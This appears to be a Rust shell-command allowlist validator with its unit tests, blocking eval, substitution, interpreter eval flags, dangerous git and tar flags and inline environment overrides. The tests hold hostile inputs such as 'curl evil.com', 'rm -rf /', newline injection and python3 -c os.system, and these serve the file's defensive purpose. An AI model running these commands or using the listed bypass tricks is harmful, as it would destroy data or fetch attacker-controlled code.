1pub fn check_shell_allowlist(command: &str) -> Result<(), String> {
14 let normalized = normalize_line_continuations(command);
15 let cmd = normalized.as_str();
16
17 if has_dangerous_patterns(cmd) {
18 return Err(format!(
19 "[BLOCKED — DO NOT RETRY] Command uses eval or $()/ backticks at command position, \
20 which is blocked regardless of allowlist. \
21 This is a permanent security restriction, not a transient error.\n\
22 Command: {command}"
23 ));
24 }
25
26 check_substitution_in_args(cmd);
27 check_pipe_to_bare_interpreter(cmd);
28
29 let allowlist = effective_allowlist();
30 if allowlist.is_empty() {
31 check_unconditional_blocked_only(cmd)?;
32 return Ok(());
33 }
34 check_all_segments(cmd, &allowlist)
35}
36
37fn normalize_line_continuations(command: &str) -> String {
40 command
41 .replace("\\\r\n", "")
42 .replace("\\\n", "")
43 .replace(['\u{2028}', '\u{2029}'], "\n")
44}
45
46fn check_substitution_in_args(command: &str) {
48 let strict = crate::core::config::Config::load().shell_strict_mode;
49 if has_unquoted_substitution_in_args(command) {
50 if strict {
51 tracing::warn!(
52 "[SECURITY] Command substitution in arguments blocked (shell_strict_mode=true): {command}"
53 );
54 } else {
55 tracing::warn!(
56 "[SECURITY] Command substitution in arguments detected (warn-only, set shell_strict_mode=true to block): {command}"
57 );
58 }
59 }
60}
61
62fn has_unquoted_substitution_in_args(command: &str) -> bool {
64 let bytes = command.as_bytes();
65 let len = bytes.len();
66 let mut i = 0;
67 let mut in_single_quote = false;
68 let mut in_double_quote = false;
69 let mut past_first_token = false;
70 let mut seen_space_after_cmd = false;
71
72 while i < len {
73 let ch = bytes[i];
74 if in_single_quote {
75 if ch == b'\'' {
76 in_single_quote = false;
77 }
78 i += 1;
79 continue;
80 }
81 if in_double_quote {
82 if ch == b'"' && (i == 0 || bytes[i - 1] != b'\\') {
83 in_double_quote = false;
84 }
85 i += 1;
86 continue;
87 }
88 match ch {
89 b'\'' => {
90 in_single_quote = true;
91 i += 1;
92 }
93 b'"' => {
94 in_double_quote = true;
95 i += 1;
96 }
97 b' ' | b'\t' if !past_first_token => {
98 seen_space_after_cmd = true;
99 i += 1;
100 }
101 _ if !seen_space_after_cmd => {
102 i += 1;
103 }
104 _ => {
105 past_first_token = true;
106 if ch == b'$' && i + 1 < len && bytes[i + 1] == b'(' {
107 return true;
108 }
109 if ch == b'`' {
110 return true;
111 }
112 if (ch == b'<' || ch == b'>') && i + 1 < len && bytes[i + 1] == b'(' {
113 return true;
114 }
115 i += 1;
116 }
117 }
118 }
119 false
120}
121
122fn check_pipe_to_bare_interpreter(command: &str) {
124 let segments = split_on_operators(command);
125 let pipe_indices: Vec<usize> = {
126 let mut indices = Vec::new();
127 let bytes = command.as_bytes();
128 let len = bytes.len();
129 let mut j = 0;
130 let mut in_sq = false;
131 let mut in_dq = false;
132 while j < len {
133 if in_sq {
134 if bytes[j] == b'\'' {
135 in_sq = false;
136 }
137 j += 1;
138 continue;
139 }
140 if in_dq {
141 if bytes[j] == b'"' && (j == 0 || bytes[j - 1] != b'\\') {
142 in_dq = false;
143 }
144 j += 1;
145 continue;
146 }
147 match bytes[j] {
148 b'\'' => {
149 in_sq = true;
150 j += 1;
151 }
152 b'"' => {
153 in_dq = true;
154 j += 1;
155 }
156 b'|' if j + 1 < len && bytes[j + 1] != b'|' => {
157 indices.push(j);
158 j += 1;
159 }
160 _ => {
161 j += 1;
162 }
163 }
164 }
165 indices
166 };
167 let _ = pipe_indices;
168
169 for (idx, seg) in segments.iter().enumerate() {
170 if idx == 0 {
171 continue;
172 }
173 if is_bare_interpreter_stdin(seg) {
174 let base = extract_base_from_segment(seg);
175 let strict = crate::core::config::Config::load().shell_strict_mode;
176 if strict {
177 tracing::warn!(
178 "[SECURITY] Pipe to bare interpreter '{base}' blocked (shell_strict_mode=true)"
179 );
180 } else {
181 tracing::warn!("[SECURITY] Pipe to bare interpreter '{base}' detected (warn-only)");
182 }
183 }
184 }
185}
186
187fn check_unconditional_blocked_only(command: &str) -> Result<(), String> {
189 let segments = extract_all_commands(command);
190 for seg in &segments {
191 let base = extract_base_from_segment(seg);
192 if !base.is_empty() && UNCONDITIONAL_BLOCKED.contains(&base.as_str()) {
193 return Err(format!(
194 "[BLOCKED — DO NOT RETRY] '{base}' is unconditionally blocked \
195 regardless of allowlist configuration.\n\
196 Command: {command}"
197 ));
198 }
199 check_inline_env_block(seg)?;
200 check_interpreter_eval_only(seg)?;
201 check_dangerous_flags(seg)?;
202 }
203 Ok(())
204}
205
206pub fn shell_tokenize(input: &str) -> Vec<String> {
210 let mut tokens = Vec::new();
211 let mut current = String::new();
212 let mut chars = input.chars().peekable();
213 let mut in_single = false;
214 let mut in_double = false;
215
216 while let Some(c) = chars.next() {
217 match c {
218 '\'' if !in_double => in_single = !in_single,
219 '"' if !in_single => in_double = !in_double,
220 '\\' if !in_single => {
221 if let Some(next) = chars.next() {
222 current.push(next);
223 }
224 }
225 c if c.is_whitespace() && !in_single && !in_double => {
226 if !current.is_empty() {
227 tokens.push(std::mem::take(&mut current));
228 }
229 }
230 _ => current.push(c),
231 }
232 }
233 if !current.is_empty() {
234 tokens.push(current);
235 }
236 tokens
237}
238
239fn quote_aware_token_end(input: &str) -> usize {
243 let bytes = input.as_bytes();
244 let len = bytes.len();
245 let mut i = 0;
246 let mut in_single = false;
247 let mut in_double = false;
248
249 while i < len {
250 let ch = bytes[i];
251 match ch {
252 b'\'' if !in_double => {
253 in_single = !in_single;
254 i += 1;
255 }
256 b'"' if !in_single => {
257 in_double = !in_double;
258 i += 1;
259 }
260 b'\\' if !in_single => {
261 i = (i + 2).min(len);
262 }
263 b if b.is_ascii_whitespace() && !in_single && !in_double => return i,
264 _ => i += 1,
265 }
266 }
267 len
268}
269
270fn check_interpreter_eval_only(segment: &str) -> Result<(), String> {
274 let trimmed = skip_env_assignments(segment.trim());
275 let tokens = shell_tokenize(trimmed);
276 if tokens.is_empty() {
277 return Ok(());
278 }
279 let base = tokens[0]
280 .rsplit('/')
281 .next()
282 .unwrap_or(&tokens[0])
283 .to_string();
284 if !INTERPRETER_COMMANDS.contains(&base.as_str()) {
285 return Ok(());
286 }
287 for tok in &tokens[1..] {
288 if EVAL_FLAGS.contains(&tok.as_str()) {
289 return Err(format!(
290 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with inline code execution \
291 flag '{tok}' is blocked. Use a script file instead.\n\
292 This is a permanent security restriction."
293 ));
294 }
295 if has_eval_flag_prefix(tok) {
296 return Err(format!(
297 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with combined flag '{tok}' \
298 containing eval flag is blocked.\n\
299 This is a permanent security restriction."
300 ));
301 }
302 }
303 if tokens[1..].iter().any(|t| t.contains("<<")) {
304 return Err(format!(
305 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with heredoc stdin is blocked. \
306 Use a script file instead.\n\
307 This is a permanent security restriction."
308 ));
309 }
310 Ok(())
311}
312
313const UNCONDITIONAL_BLOCKED: &[&str] = &["eval", "exec", "source", "."];
316
317const INTERPRETER_COMMANDS: &[&str] = &[
319 "python", "python3", "python2", "node", "ruby", "perl", "lua", "php", "bash", "sh", "zsh",
320 "fish", "dash", "ksh",
321];
322
323const EVAL_FLAGS: &[&str] = &[
325 "-c", "-e", "-r", "-p", "--eval", "--exec", "-exec", "--print", "--run",
326];
327
328const SCRIPT_EXTENSIONS: &[&str] = &[
330 ".py", ".rb", ".js", ".ts", ".pl", ".lua", ".php", ".sh", ".bash", ".zsh", ".mjs", ".cjs",
331 ".tsx", ".jsx",
332];
333
334const DELEGATION_COMMANDS: &[&str] = &["env", "nice", "timeout", "sudo", "doas"];
336
337fn check_interpreter_abuse(segment: &str, allowlist: &[String]) -> Result<(), String> {
340 check_interpreter_abuse_inner(segment, allowlist, 0)
341}
342
343fn check_interpreter_abuse_inner(
344 segment: &str,
345 allowlist: &[String],
346 depth: usize,
347) -> Result<(), String> {
348 if depth > 3 {
349 return Ok(());
350 }
351 let trimmed = skip_env_assignments(segment.trim());
352 let tokens = shell_tokenize(trimmed);
353 if tokens.is_empty() {
354 return Ok(());
355 }
356
357 let base = tokens[0]
358 .rsplit('/')
359 .next()
360 .unwrap_or(&tokens[0])
361 .to_string();
362
363 if INTERPRETER_COMMANDS.contains(&base.as_str()) {
364 for tok in &tokens[1..] {
365 if EVAL_FLAGS.contains(&tok.as_str()) {
366 return Err(format!(
367 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with inline code execution \
368 flag '{tok}' is blocked. Use a script file instead.\n\
369 This is a permanent security restriction."
370 ));
371 }
372 if has_eval_flag_prefix(tok) {
373 return Err(format!(
374 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with combined flag '{tok}' \
375 containing eval flag is blocked.\n\
376 This is a permanent security restriction."
377 ));
378 }
379 }
380 if tokens[1..].iter().any(|t| t.contains("<<")) {
381 return Err(format!(
382 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with heredoc stdin is blocked. \
383 Use a script file instead.\n\
384 This is a permanent security restriction."
385 ));
386 }
387 }
388
389 if DELEGATION_COMMANDS.contains(&base.as_str()) {
390 let rest_tokens: Vec<&str> = tokens[1..]
391 .iter()
392 .map(std::string::String::as_str)
393 .skip_while(|t| t.starts_with('-') || t.contains('='))
394 .collect();
395 if let Some(&delegated_tok) = rest_tokens.first() {
396 let delegated = delegated_tok.rsplit('/').next().unwrap_or(delegated_tok);
397 if !delegated.is_empty() && !allowlist.iter().any(|a| a == delegated) {
398 return Err(format!(
399 "[BLOCKED — DO NOT RETRY] '{base}' delegates to '{delegated}' which is not \
400 in the shell allowlist. This is a permanent restriction."
401 ));
402 }
403 let rest_str = rest_tokens.join(" ");
404 check_interpreter_abuse_inner(&rest_str, allowlist, depth + 1)?;
405 }
406 }
407
408 Ok(())
409}
410
411fn has_eval_flag_prefix(token: &str) -> bool {
413 if !token.starts_with('-') || token.starts_with("--") || token.len() < 3 {
414 return false;
415 }
416 let flag_chars = &token[1..];
417 let eval_chars = ['c', 'e', 'r', 'p'];
418 flag_chars.chars().any(|c| eval_chars.contains(&c))
419}
420
421fn is_bare_interpreter_stdin(segment: &str) -> bool {
423 let trimmed = skip_env_assignments(segment.trim());
424 let tokens = shell_tokenize(trimmed);
425 if tokens.is_empty() {
426 return false;
427 }
428 let base = tokens[0]
429 .rsplit('/')
430 .next()
431 .unwrap_or(&tokens[0])
432 .to_string();
433 if !INTERPRETER_COMMANDS.contains(&base.as_str()) {
434 return false;
435 }
436 !tokens[1..]
437 .iter()
438 .any(|t| !t.starts_with('-') && SCRIPT_EXTENSIONS.iter().any(|ext| t.ends_with(ext)))
439}
440
441const DANGEROUS_GIT_FLAGS: &[&str] = &[
443 "--upload-pack",
444 "--receive-pack",
445 "--config=core.sshcommand",
446 "--config=core.gitproxy",
447];
448
449const DANGEROUS_TAR_FLAGS: &[&str] = &["--to-command", "--use-compress-program"];
450
451const BLOCKED_INLINE_ENV: &[&str] = &[
453 "PATH=",
454 "GIT_ASKPASS=",
455 "GIT_SSH=",
456 "GIT_SSH_COMMAND=",
457 "GIT_EDITOR=",
458 "GIT_EXTERNAL_DIFF=",
459 "SSH_ASKPASS=",
460 "LD_PRELOAD=",
461 "DYLD_INSERT_LIBRARIES=",
462];
463
464fn check_dangerous_flags(segment: &str) -> Result<(), String> {
465 let trimmed = skip_env_assignments(segment.trim());
466 let tokens = shell_tokenize(trimmed);
467 if tokens.is_empty() {
468 return Ok(());
469 }
470 let base = tokens[0]
471 .rsplit('/')
472 .next()
473 .unwrap_or(&tokens[0])
474 .to_string();
475
476 match base.as_str() {
477 "git" => {
478 for tok in &tokens[1..] {
479 for flag in DANGEROUS_GIT_FLAGS {
480 if tok.starts_with(flag) {
481 return Err(format!(
482 "[BLOCKED — DO NOT RETRY] 'git' with dangerous flag '{tok}' is blocked.\n\
483 This is a permanent security restriction."
484 ));
485 }
486 }
487 }
488 }
489 "tar" => {
490 for tok in &tokens[1..] {
491 for flag in DANGEROUS_TAR_FLAGS {
492 if tok.starts_with(flag) {
493 return Err(format!(
494 "[BLOCKED — DO NOT RETRY] 'tar' with dangerous flag '{tok}' is blocked.\n\
495 This is a permanent security restriction."
496 ));
497 }
498 }
499 }
500 }
501 "find" => {
502 for tok in &tokens[1..] {
503 if tok == "-exec" || tok == "-execdir" {
504 return Err(format!(
505 "[BLOCKED — DO NOT RETRY] 'find' with '{tok}' is blocked. \
506 Use 'find ... -print' and pipe to xargs instead.\n\
507 This is a permanent security restriction."
508 ));
509 }
510 }
511 }
512 "awk" | "gawk" | "mawk" => {
513 for tok in &tokens[1..] {
514 if tok.contains("system(") {
515 return Err(format!(
516 "[BLOCKED — DO NOT RETRY] '{base}' with 'system()' call is blocked.\n\
517 This is a permanent security restriction."
518 ));
519 }
520 }
521 }
522 _ => {}
523 }
524 Ok(())
525}
526
527fn check_inline_env_block(segment: &str) -> Result<(), String> {
528 let trimmed = segment.trim();
529 for blocked in BLOCKED_INLINE_ENV {
530 if trimmed.starts_with(blocked) {
531 return Err(format!(
532 "[BLOCKED — DO NOT RETRY] Inline environment override '{blocked}' is blocked.\n\
533 This is a permanent security restriction."
534 ));
535 }
536 }
537 Ok(())
538}
539
540fn check_all_segments(command: &str, allowlist: &[String]) -> Result<(), String> {
541 if allowlist.is_empty() {
542 return Ok(());
543 }
544
545 if has_dangerous_patterns(command) {
546 return Err(format!(
547 "[BLOCKED — DO NOT RETRY] Command uses eval or $()/ backticks at command position, \
548 which is blocked in restricted mode. \
549 This is a permanent security restriction, not a transient error.\n\
550 Command: {command}"
551 ));
552 }
553
554 let segments = extract_all_commands(command);
555 if segments.is_empty() {
556 return Err("[BLOCKED — DO NOT RETRY] Empty command".to_string());
557 }
558
559 for seg in &segments {
560 check_inline_env_block(seg)?;
561 let base = extract_base_from_segment(seg);
562 if base.is_empty() {
563 continue;
564 }
565 if UNCONDITIONAL_BLOCKED.contains(&base.as_str()) {
566 return Err(format!(
567 "[BLOCKED — DO NOT RETRY] '{base}' is unconditionally blocked \
568 regardless of allowlist membership. \
569 This is a permanent security restriction.\n\
570 Command: {command}"
571 ));
572 }
573 check_interpreter_abuse(seg, allowlist)?;
574 check_dangerous_flags(seg)?;
575 if !allowlist.iter().any(|a| a == &base) {
576 return Err(format!(
577 "[BLOCKED — DO NOT RETRY] '{base}' is not in the shell allowlist. \
578 This is a permanent restriction, not a transient error.\n\
579 Fix: add '{base}' to shell_allowlist in ~/.lean-ctx/config.toml\n\
580 Or disable the allowlist: shell_allowlist = []\n\
581 Do NOT retry this command — it will fail again with the same error."
582 ));
583 }
584 }
585 Ok(())
586}
587
588fn has_dangerous_patterns(command: &str) -> bool {
596 let trimmed = command.trim();
597
598 for blocked in UNCONDITIONAL_BLOCKED {
599 let with_space = format!("{blocked} ");
600 if trimmed.starts_with(&with_space) {
601 return true;
602 }
603 for sep in ["; ", "&& ", "|| ", "| ", "\n"] {
604 if trimmed.contains(&format!("{sep}{blocked} ")) {
605 return true;
606 }
607 }
608 }
609
610 if has_substitution_at_command_pos(trimmed) {
611 return true;
612 }
613
614 false
615}
616
617fn has_substitution_at_command_pos(command: &str) -> bool {
621 let segments = split_on_operators(command);
622 for seg in segments {
623 let trimmed = seg.trim();
624 let cmd_start = skip_env_assignments(trimmed);
625
626 if cmd_start.starts_with("$(") {
627 return true;
628 }
629
630 let tokens = shell_tokenize(cmd_start);
631 let first_token = tokens.first().map_or("", std::string::String::as_str);
632 if first_token.starts_with('`') || first_token == "`" {
633 return true;
634 }
635 }
636 false
637}
638
639fn extract_all_commands(command: &str) -> Vec<String> {
642 split_on_operators(command)
643 .into_iter()
644 .map(|s| s.trim().to_string())
645 .filter(|s| !s.is_empty())
646 .collect()
647}
648
649fn split_on_operators(command: &str) -> Vec<&str> {
652 let mut segments = Vec::new();
653 let mut start = 0;
654 let bytes = command.as_bytes();
655 let len = bytes.len();
656 let mut i = 0;
657 let mut in_single_quote = false;
658 let mut in_double_quote = false;
659 let mut paren_depth: u32 = 0;
660
661 while i < len {
662 let ch = bytes[i];
663
664 if in_single_quote {
665 if ch == b'\'' {
666 in_single_quote = false;
667 }
668 i += 1;
669 continue;
670 }
671
672 if in_double_quote {
673 if ch == b'"' && (i == 0 || bytes[i - 1] != b'\\') {
674 in_double_quote = false;
675 }
676 i += 1;
677 continue;
678 }
679
680 match ch {
681 b'\'' => {
682 in_single_quote = true;
683 i += 1;
684 }
685 b'"' => {
686 in_double_quote = true;
687 i += 1;
688 }
689 b'(' => {
690 paren_depth += 1;
691 i += 1;
692 }
693 b')' => {
694 paren_depth = paren_depth.saturating_sub(1);
695 i += 1;
696 }
697 b'\n' | b'\r' | b';' if paren_depth == 0 => {
698 segments.push(&command[start..i]);
699 i += 1;
700 start = i;
701 }
702 b'&' if paren_depth == 0 => {
703 if i + 1 < len && bytes[i + 1] == b'&' {
704 segments.push(&command[start..i]);
706 i += 2;
707 start = i;
708 } else if (i > 0 && bytes[i - 1] == b'>') || (i + 1 < len && bytes[i + 1] == b'>') {
709 i += 1;
714 } else {
715 segments.push(&command[start..i]);
717 i += 1;
718 start = i;
719 }
720 }
721 b'|' if paren_depth == 0 => {
722 if i + 1 < len && bytes[i + 1] == b'|' {
723 segments.push(&command[start..i]);
725 i += 2;
726 start = i;
727 } else {
728 segments.push(&command[start..i]);
730 i += 1;
731 start = i;
732 }
733 }
734 _ => {
735 i += 1;
736 }
737 }
738 }
739
740 if start < len {
741 segments.push(&command[start..]);
742 }
743
744 segments
745}
746
747fn extract_base_from_segment(segment: &str) -> String {
749 let trimmed = segment.trim();
750 if trimmed.is_empty() {
751 return String::new();
752 }
753
754 let cmd_part = skip_env_assignments(trimmed);
755 if cmd_part.is_empty() {
756 return String::new();
757 }
758
759 let tokens = shell_tokenize(cmd_part);
760 let first_token = tokens.first().map_or("", std::string::String::as_str);
761
762 first_token
763 .rsplit('/')
764 .next()
765 .unwrap_or(first_token)
766 .to_string()
767}
768
769fn skip_env_assignments(segment: &str) -> &str {
773 let mut rest = segment;
774 loop {
775 let rest_trimmed = rest.trim_start();
776 if rest_trimmed.is_empty() {
777 return rest_trimmed;
778 }
779 let end = quote_aware_token_end(rest_trimmed);
780 if end == 0 {
781 return rest_trimmed;
782 }
783 let raw_token = &rest_trimmed[..end];
784 let unquoted: String = raw_token
785 .chars()
786 .filter(|c| *c != '"' && *c != '\'')
787 .collect();
788 if unquoted.contains('=')
789 && !unquoted.starts_with('-')
790 && !unquoted.starts_with('/')
791 && !unquoted.starts_with('.')
792 {
793 rest = &rest_trimmed[end..];
794 } else {
795 return rest_trimmed;
796 }
797 }
798}
799
800fn effective_allowlist() -> Vec<String> {
801 if let Ok(ov) = std::env::var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE") {
803 return ov
804 .split(',')
805 .map(|s| s.trim().to_string())
806 .filter(|s| !s.is_empty())
807 .collect();
808 }
809 let mut list = crate::core::config::Config::load().shell_allowlist;
810 if let Ok(env_val) = std::env::var("LEAN_CTX_SHELL_ALLOWLIST") {
811 for entry in env_val
812 .split(',')
813 .map(|s| s.trim().to_string())
814 .filter(|s| !s.is_empty())
815 {
816 if !list.contains(&entry) {
817 list.push(entry);
818 }
819 }
820 }
821 list
822}
823
824pub fn extract_all_commands_pub(command: &str) -> Vec<String> {
826 extract_all_commands(command)
827}
828
829pub fn extract_base_command(command: &str) -> String {
831 let first_seg = split_on_operators(command)
832 .into_iter()
833 .next()
834 .unwrap_or(command);
835 extract_base_from_segment(first_seg)
836}
837
838#[cfg(test)]
839mod tests {
840 use super::*;
841
842 #[test]
845 fn extract_simple_command() {
846 assert_eq!(extract_base_command("git status"), "git");
847 }
848
849 #[test]
850 fn extract_with_path() {
851 assert_eq!(extract_base_command("/usr/bin/git log"), "git");
852 }
853
854 #[test]
855 fn extract_with_env_assignment() {
856 assert_eq!(extract_base_command("LANG=en_US git log"), "git");
857 }
858
859 #[test]
860 fn extract_chained_commands() {
861 assert_eq!(extract_base_command("cd /tmp && ls -la"), "cd");
862 }
863
864 #[test]
865 fn extract_piped_command() {
866 assert_eq!(extract_base_command("grep foo | wc -l"), "grep");
867 }
868
869 #[test]
870 fn extract_semicolon_chain() {
871 assert_eq!(extract_base_command("echo hello; rm -rf /"), "echo");
872 }
873
874 #[test]
875 fn extract_empty_command() {
876 assert_eq!(extract_base_command(""), "");
877 }
878
879 #[test]
880 fn extract_whitespace_only() {
881 assert_eq!(extract_base_command(" "), "");
882 }
883
884 #[test]
885 fn extract_multiple_env_vars() {
886 assert_eq!(extract_base_command("FOO=bar BAZ=qux cargo test"), "cargo");
887 }
888
889 fn allow(cmds: &[&str]) -> Vec<String> {
892 cmds.iter().map(std::string::ToString::to_string).collect()
893 }
894
895 #[test]
896 fn allowlist_empty_always_passes() {
897 assert!(check_all_segments("anything", &[]).is_ok());
898 }
899
900 #[test]
901 fn allowlist_blocks_unlisted() {
902 let list = allow(&["git", "cargo"]);
903 let result = check_all_segments("npm install", &list);
904 assert!(result.is_err());
905 assert!(result.unwrap_err().contains("npm"));
906 }
907
908 #[test]
909 fn allowlist_allows_listed() {
910 let list = allow(&["git", "cargo", "npm"]);
911 assert!(check_all_segments("git status", &list).is_ok());
912 assert!(check_all_segments("cargo test --release", &list).is_ok());
913 assert!(check_all_segments("npm run build", &list).is_ok());
914 }
915
916 #[test]
917 fn allowlist_allows_full_path() {
918 let list = allow(&["git"]);
919 assert!(check_all_segments("/usr/bin/git status", &list).is_ok());
920 }
921
922 #[test]
923 fn allowlist_allows_with_env_prefix() {
924 let list = allow(&["git"]);
925 assert!(check_all_segments("LANG=C git log", &list).is_ok());
926 }
927
928 #[test]
929 fn allowlist_blocks_similar_names() {
930 let list = allow(&["git"]);
931 assert!(check_all_segments("gitk --all", &list).is_err());
932 }
933
934 #[test]
937 fn all_segments_must_be_allowed_chain() {
938 let list = allow(&["git", "cargo"]);
939 assert!(check_all_segments("git status && cargo test", &list).is_ok());
941 assert!(check_all_segments("git status && rm -rf /", &list).is_err());
943 }
944
945 #[test]
946 fn all_segments_must_be_allowed_pipe() {
947 let list = allow(&["git", "grep", "wc"]);
948 assert!(check_all_segments("git log | grep fix | wc -l", &list).is_ok());
949 assert!(check_all_segments("git log | cat", &list).is_err());
951 }
952
953 #[test]
954 fn all_segments_must_be_allowed_semicolon() {
955 let list = allow(&["echo", "ls"]);
956 assert!(check_all_segments("echo hello; ls -la", &list).is_ok());
957 assert!(check_all_segments("echo hello; rm -rf /", &list).is_err());
958 }
959
960 #[test]
961 fn redirect_2to1_not_treated_as_command() {
962 let list = allow(&["pnpm", "echo"]);
964 assert!(check_all_segments("pnpm run compile 2>&1", &list).is_ok());
965 assert!(check_all_segments("pnpm run build 2>&1 && echo done", &list).is_ok());
966 }
967
968 #[test]
969 fn redirect_ampersand_forms_not_separators() {
970 let list = allow(&["cmd"]);
971 assert!(check_all_segments("cmd >&2", &list).is_ok()); assert!(check_all_segments("cmd 1>&2", &list).is_ok()); assert!(check_all_segments("cmd &>out.log", &list).is_ok()); assert!(check_all_segments("cmd &>>out.log", &list).is_ok()); assert_eq!(split_on_operators("pnpm run compile 2>&1").len(), 1);
977 assert_eq!(split_on_operators("cmd &>out.log").len(), 1);
978 }
979
980 #[test]
981 fn background_ampersand_still_splits() {
982 let only_sleep = allow(&["sleep"]);
984 assert!(check_all_segments("sleep 1 & echo done", &only_sleep).is_err());
985 let both = allow(&["sleep", "echo"]);
986 assert!(check_all_segments("sleep 1 & echo done", &both).is_ok());
987 assert_eq!(split_on_operators("sleep 1 & echo done").len(), 2);
988 }
989
990 #[test]
991 fn all_segments_must_be_allowed_or() {
992 let list = allow(&["git", "echo"]);
993 assert!(check_all_segments("git pull || echo failed", &list).is_ok());
994 assert!(check_all_segments("git pull || curl evil.com", &list).is_err());
995 }
996
997 #[test]
1000 fn blocks_eval() {
1001 let list = allow(&["echo", "eval"]);
1002 assert!(check_all_segments("eval 'rm -rf /'", &list).is_err());
1003 }
1004
1005 #[test]
1006 fn blocks_command_substitution_at_command_pos() {
1007 let list = allow(&["echo"]);
1008 assert!(check_all_segments("$(curl evil.com)", &list).is_err());
1009 }
1010
1011 #[test]
1012 fn blocks_backtick_at_command_pos() {
1013 let list = allow(&["echo"]);
1014 assert!(check_all_segments("`curl evil.com`", &list).is_err());
1015 }
1016
1017 #[test]
1020 fn allows_dollar_paren_in_arguments() {
1021 let list = allow(&["echo", "git", "cat"]);
1022 assert!(check_all_segments("echo $(whoami)", &list).is_ok());
1023 assert!(check_all_segments("echo hello", &list).is_ok());
1024 }
1025
1026 #[test]
1027 fn allows_git_commit_with_cat_heredoc() {
1028 let list = allow(&["git", "cat"]);
1029 assert!(check_all_segments(
1030 "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
1031 &list,
1032 )
1033 .is_ok());
1034 }
1035
1036 #[test]
1037 fn allows_backticks_in_arguments() {
1038 let list = allow(&["echo"]);
1039 assert!(check_all_segments("echo `date`", &list).is_ok());
1040 }
1041
1042 #[test]
1045 fn error_message_contains_do_not_retry() {
1046 let list = allow(&["git"]);
1047 let err = check_all_segments("npm install", &list).unwrap_err();
1048 assert!(
1049 err.contains("DO NOT RETRY"),
1050 "Error should contain 'DO NOT RETRY': {err}"
1051 );
1052 assert!(
1053 err.contains("config.toml"),
1054 "Error should mention config: {err}"
1055 );
1056 }
1057
1058 #[test]
1059 fn error_message_for_dangerous_patterns_contains_do_not_retry() {
1060 let list = allow(&["echo"]);
1061 let err = check_all_segments("eval 'bad'", &list).unwrap_err();
1062 assert!(
1063 err.contains("DO NOT RETRY"),
1064 "Error should contain 'DO NOT RETRY': {err}"
1065 );
1066 }
1067
1068 #[test]
1071 fn pre_commit_in_default_allowlist() {
1072 let defaults = crate::core::config::default_shell_allowlist();
1073 assert!(
1074 defaults.contains(&"pre-commit".to_string()),
1075 "pre-commit must be in default allowlist"
1076 );
1077 }
1078
1079 #[test]
1080 fn playwright_in_default_allowlist() {
1081 let defaults = crate::core::config::default_shell_allowlist();
1082 assert!(
1083 defaults.contains(&"playwright".to_string()),
1084 "playwright must be in default allowlist"
1085 );
1086 }
1087
1088 #[test]
1089 fn pre_commit_run_allowed() {
1090 let list = allow(&["pre-commit"]);
1091 assert!(check_all_segments("pre-commit run --all-files", &list).is_ok());
1092 }
1093
1094 #[test]
1095 fn playwright_test_allowed() {
1096 let list = allow(&["npx", "playwright"]);
1097 assert!(check_all_segments("playwright test", &list).is_ok());
1098 assert!(check_all_segments("npx playwright test", &list).is_ok());
1099 }
1100
1101 #[test]
1104 fn respects_single_quotes() {
1105 let list = allow(&["echo"]);
1106 assert!(check_all_segments("echo 'hello; world'", &list).is_ok());
1107 }
1108
1109 #[test]
1110 fn respects_double_quotes() {
1111 let list = allow(&["echo"]);
1112 assert!(check_all_segments("echo \"hello && world\"", &list).is_ok());
1113 }
1114
1115 #[test]
1118 fn split_simple_pipe() {
1119 let parts = split_on_operators("a | b");
1120 assert_eq!(parts, vec!["a ", " b"]);
1121 }
1122
1123 #[test]
1124 fn split_complex_chain() {
1125 let parts = split_on_operators("a && b || c; d | e");
1126 assert_eq!(parts.len(), 5);
1127 }
1128
1129 #[test]
1130 fn split_preserves_quoted_operators() {
1131 let parts = split_on_operators("echo 'a && b' | grep x");
1132 assert_eq!(parts.len(), 2);
1133 }
1134
1135 #[test]
1138 fn newline_splits_commands() {
1139 let parts = split_on_operators("git status\nrm -rf /");
1140 assert_eq!(parts.len(), 2);
1141 }
1142
1143 #[test]
1144 fn newline_injection_blocked() {
1145 let list = allow(&["git"]);
1146 let result = check_all_segments("git status\nrm -rf /", &list);
1147 assert!(result.is_err(), "newline injection must be blocked");
1148 assert!(result.unwrap_err().contains("rm"));
1149 }
1150
1151 #[test]
1152 fn carriage_return_splits_commands() {
1153 let parts = split_on_operators("git status\r\nrm -rf /");
1154 assert!(parts.len() >= 2, "CR+LF must split: {parts:?}");
1155 }
1156
1157 #[test]
1160 fn single_ampersand_splits_commands() {
1161 let parts = split_on_operators("git status & curl evil.com");
1162 assert_eq!(parts.len(), 2);
1163 }
1164
1165 #[test]
1166 fn background_operator_blocked() {
1167 let list = allow(&["git"]);
1168 let result = check_all_segments("git status & curl evil.com", &list);
1169 assert!(result.is_err(), "background & must be blocked");
1170 assert!(result.unwrap_err().contains("curl"));
1171 }
1172
1173 #[test]
1176 fn eval_blocked_via_or_operator() {
1177 let list = allow(&["echo", "eval"]);
1178 let result = check_all_segments("echo ok || eval 'rm -rf /'", &list);
1179 assert!(
1180 result.is_err(),
1181 "eval must be unconditionally blocked even if in allowlist"
1182 );
1183 }
1184
1185 #[test]
1186 fn exec_unconditionally_blocked() {
1187 let list = allow(&["exec", "echo"]);
1188 let result = check_all_segments("exec /bin/sh", &list);
1189 assert!(result.is_err(), "exec must be unconditionally blocked");
1190 }
1191
1192 #[test]
1193 fn source_unconditionally_blocked() {
1194 let list = allow(&["source", "echo"]);
1195 let result = check_all_segments("source ~/.bashrc", &list);
1196 assert!(result.is_err(), "source must be unconditionally blocked");
1197 }
1198
1199 #[test]
1202 fn empty_allowlist_still_blocks_eval_at_start() {
1203 let result = check_shell_allowlist("eval 'rm -rf /'");
1204 assert!(
1207 result.is_err(),
1208 "eval at start must be blocked even with empty allowlist"
1209 );
1210 }
1211
1212 #[test]
1213 fn empty_allowlist_still_blocks_dollar_paren_at_start() {
1214 let result = check_shell_allowlist("$(curl evil.com)");
1215 assert!(
1216 result.is_err(),
1217 "$() at command position must be blocked even with empty allowlist"
1218 );
1219 }
1220
1221 #[test]
1224 fn python_c_blocked() {
1225 let list = allow(&["python3"]);
1226 let result = check_all_segments("python3 -c 'import os; os.system(\"id\")'", &list);
1227 assert!(result.is_err(), "python3 -c must be blocked");
1228 }
1229
1230 #[test]
